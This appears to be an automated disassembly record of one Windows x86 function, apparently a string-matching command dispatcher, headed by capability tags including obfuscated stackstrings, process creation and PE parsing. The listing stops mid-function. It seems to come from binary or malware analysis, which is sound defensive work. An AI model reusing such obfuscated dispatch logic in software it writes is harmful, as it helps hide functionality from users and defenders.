Function at 0x520b50
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57aa45
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x288
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
sub esp, 0x18
mov dword [ebp - 0x34], esi
mov ecx, esp
mov dword [ebp - 0x50], 0
push 0x5bd778
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
mov edi, dword [ebx + 8]
add esp, 0x18
mov edx, eax
test edi, edi
je 0x520bf0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520bc0
sub ecx, dword [ebp - 0x20]
je 0x520bf0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520bf0
cmp dword [edx + 0x14], 0x10
jb 0x520bdb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520bf7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x520c2b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520c21
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524619
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520c43
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 1
jmp 0x524601
sub esp, 0x18
mov ecx, esp
push 0x5bd808
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x520ca0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520c70
sub ecx, dword [ebp - 0x20]
je 0x520ca0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520ca0
cmp dword [edx + 0x14], 0x10
jb 0x520c8b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520ca7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x520cdb
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520cd1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52461e
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x521337
sub esp, 0x18
mov ecx, esp
push 0x5bd7f0
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x520d40
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520d10
sub ecx, dword [ebp - 0x20]
je 0x520d40
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520d40
cmp dword [edx + 0x14], 0x10
jb 0x520d2b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520d47
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x520d7b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520d71
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524623
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520e2f
push 0x45
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eFR5pNAN2tGEQIRdlkOVWC9boRxA7aDmsPvPRdQpFyNbMDlonWHEAMsPRdTnC3YEYSQ
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042b6f0
push 2
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c650
mov ecx, esi
call fcn.004430f0
add esp, 0x18
mov ecx, edi
call fcn.0045d460
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x524601
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x520e20
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524655
push ecx
push edx
call fcn.00547d61
add esp, 8
jmp 0x524601
sub esp, 0x18
mov ecx, esp
push 0x5bd820
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x520e87
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520e57
sub ecx, dword [ebp - 0x20]
je 0x520e87
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520e87
cmp dword [edx + 0x14], 0x10
jb 0x520e72
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520e8e
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x520ec2
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520eb8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524628
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520f76
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.bm9EZZRVNOJRUe5TWRf0ThRmGFgYAGMzoZpBioBhARhmBX0wCoJQwA4TTkY
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042b6f0
push 1
push ecx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c650
mov ecx, esi
call fcn.004430f0
add esp, 0x18
mov ecx, edi
call fcn.0045d460
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x524601
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x520f67
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524655
push ecx
push edx
call fcn.00547d61
add esp, 8
jmp 0x524601
sub esp, 0x18
mov ecx, esp
push 0x5bd838
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x520fd0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520fa0
sub ecx, dword [ebp - 0x20]
je 0x520fd0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520fd0
cmp dword [edx + 0x14], 0x10
jb 0x520fbb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520fd7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52100b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521001
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52462d
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x521020
mov ecx, dword [esi + 0xc]
push 0
call fcn.0041bd40
jmp 0x524601
sub esp, 0x18
mov ecx, esp
push 0x5bd970
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x521078
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521048
sub ecx, dword [ebp - 0x20]
je 0x521078
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521078
cmp dword [edx + 0x14], 0x10
jb 0x521063
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52107f
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5210b3
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5210a9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524632
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x521669
sub esp, 0x18
mov ecx, esp
push 0x5bd988
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x521115
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5210e5
sub ecx, dword [ebp - 0x20]
je 0x521115
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521115
cmp dword [edx + 0x14], 0x10
jb 0x521100
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52111c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x521150
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521146
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524637
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x521711
sub esp, 0x18
mov ecx, esp
push 0x5bda60
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5211b2
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521182
sub ecx, dword [ebp - 0x20]
je 0x5211b2
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5211b2
cmp dword [edx + 0x14], 0x10
jb 0x52119d
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5211b9
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5211ed
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5211e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52463c
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x5217b7
sub esp, 0x18
mov ecx, esp
push 0x5bd790
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x521250
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521220
sub ecx, dword [ebp - 0x20]
je 0x521250
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521250
cmp dword [edx + 0x14], 0x10
jb 0x52123b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x521257
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52128b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521281
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524641
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52129e
mov ecx, dword [esi + 0xc]
call fcn.0041c720
jmp 0x524601
sub esp, 0x18
mov ecx, esp
push 0x5bd808
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5212f6
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5212c6
sub ecx, dword [ebp - 0x20]
je 0x5212f6
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5212f6
cmp dword [edx + 0x14], 0x10
jb 0x5212e1
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5212fd
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x521331
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521327
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524646
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x521346
mov ecx, dword [esi + 0xc]
push 1
call fcn.0041bd40
jmp 0x524601
sub esp, 0x18
mov ecx, esp
push 0x5bd7f0
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5213a0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521370
sub ecx, dword [ebp - 0x20]
je 0x5213a0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5213a0
cmp dword [edx + 0x14], 0x10
jb 0x52138b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5213a7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5213db
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5213d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52464b
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52148f
push 0x45
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.aTU4XNxIXoWUcZdFxgNtSU4aJRAFaRT2ge0XFZTEBkIa4DUtGiXUMd0XFZQBGhdFVSg
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042b6f0
push 2
push ecx
mov dword [ebp - 4], 2
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c650
mov ecx, esi
call fcn.004430f0
add esp, 0x18
mov ecx, edi
call fcn.0045d460
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x524601
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x521480
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524655
push ecx
push edx
call fcn.00547d61
add esp, 8
jmp 0x524601
sub esp, 0x18
mov ecx, esp
push 0x5bd820
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5214e7
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5214b7
sub ecx, dword [ebp - 0x20]
je 0x5214e7
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5214e7
cmp dword [edx + 0x14], 0x10
jb 0x5214d2
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5214ee
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x521522
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521518
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524650
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5215d0
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.a2l3aWhBLKFiobiS1dgcSxJVTKQMGnAAUcfABkSBB5V2YEkEZFjMF8Swon
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042b6f0
push 1
push ecx
mov dword [ebp - 4], 3
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c650
mov ecx, esi
call fcn.004430f0
add esp, 0x18
mov ecx, edi
call fcn.0045d460
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x524601
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x521480
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524655
jmp 0x521480
sub esp, 0x18
mov ecx, esp
push 0x5bd970
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x521628
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5215f8
sub ecx, dword [ebp - 0x20]
je 0x521628
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521628
cmp dword [edx + 0x14], 0x10
jb 0x521613
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52162f
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x521663
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521659
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52465a
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x521676
mov ecx, dword [esi + 0xc]
call fcn.00406b90
jmp 0x524601
sub esp, 0x18
mov ecx, esp
push 0x5bd988
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5216d0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5216a0
sub ecx, dword [ebp - 0x20]
je 0x5216d0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5216d0
cmp dword [edx + 0x14], 0x10
jb 0x5216bb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5216d7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52170b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521701
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52465f
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52171e
mov ecx, dword [esi + 0xc]
call fcn.00406e70
jmp 0x524601
sub esp, 0x18
mov ecx, esp
push 0x5bda60
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x521776
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521746
sub ecx, dword [ebp - 0x20]
je 0x521776
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521776
cmp dword [edx + 0x14], 0x10
jb 0x521761
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52177d
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5217b1
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5217a7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524664
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5217c4
mov ecx, dword [esi + 0xc]
call fcn.0041cb90
jmp 0x524601
sub esp, 0x18
mov ecx, esp
push 0x5bd850
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x521820
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5217f0
sub ecx, dword [ebp - 0x20]
je 0x521820
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521820
cmp dword [edx + 0x14], 0x10
jb 0x52180b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x521827
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52185b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521851
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524669
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x521870
mov ecx, dword [esi + 0xc]
push 1
call fcn.00407c50
jmp 0x524601
sub esp, 0x18
mov ecx, esp
push 0x5bd868
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5218c8
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521898
sub ecx, dword [ebp - 0x20]
je 0x5218c8
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5218c8
cmp dword [edx + 0x14], 0x10
jb 0x5218b3
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5218cf
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x521903
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5218f9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52466e
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x521918
mov ecx, dword [esi + 0xc]
push 0
call fcn.00407c50
jmp 0x524601
sub esp, 0x18
mov ecx, esp
push 0x5bd880
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x521972
mov ecx, edi
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521940
sub ecx, esi
je 0x521972
mov esi, dword [edx + 0x10]
test esi, esi
je 0x521972
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 0x4c], esi
jb 0x52195d
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52197c
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5219b0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5219a6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524673
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x521aa8
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov ecx, edi
mov dword [ebp - 4], 4
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5219f0
sub ecx, edx
lea eax, [ebp - 0x148]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00524af0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
call fcn.0054ce3d
cmp dword [ebp - 0x134], 0x10
lea esi, [ebp - 0x148]
mov edi, eax
lea eax, [ebp - 0x50]
cmovae esi, dword [ebp - 0x148]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0054e79e
add esp, 0x14
cmp esi, dword [ebp - 0x50]
je 0x524678
cmp dword [edi], 0x22
je 0x524682
mov ecx, dword [ebp - 0x20]
test eax, eax
setne al
movzx eax, al
push eax
call fcn.00407f30
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x524601
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521480
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52468c
jmp 0x521480
sub esp, 0x18
mov ecx, esp
push 0x5bd730
call fcn.0042b2b0
lea ecx, [ebp - 0x68]
call fcn.00442d60
add esp, 0x18
mov edx, eax
test edi, edi
je 0x521b05
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521ad0
sub ecx, dword [ebp - 0x20]
je 0x521b05
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521b05
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x521af0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005591e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x521b0c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x521b40
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521b36
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x524691
push ecx
push edx
call fcn.00547d61
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x521c51
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 5
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521b80
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00524af0
add esp, 8
lea ecx, [ebp - 0x1a0]
call fcn.004327f0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0xe4]
push eax
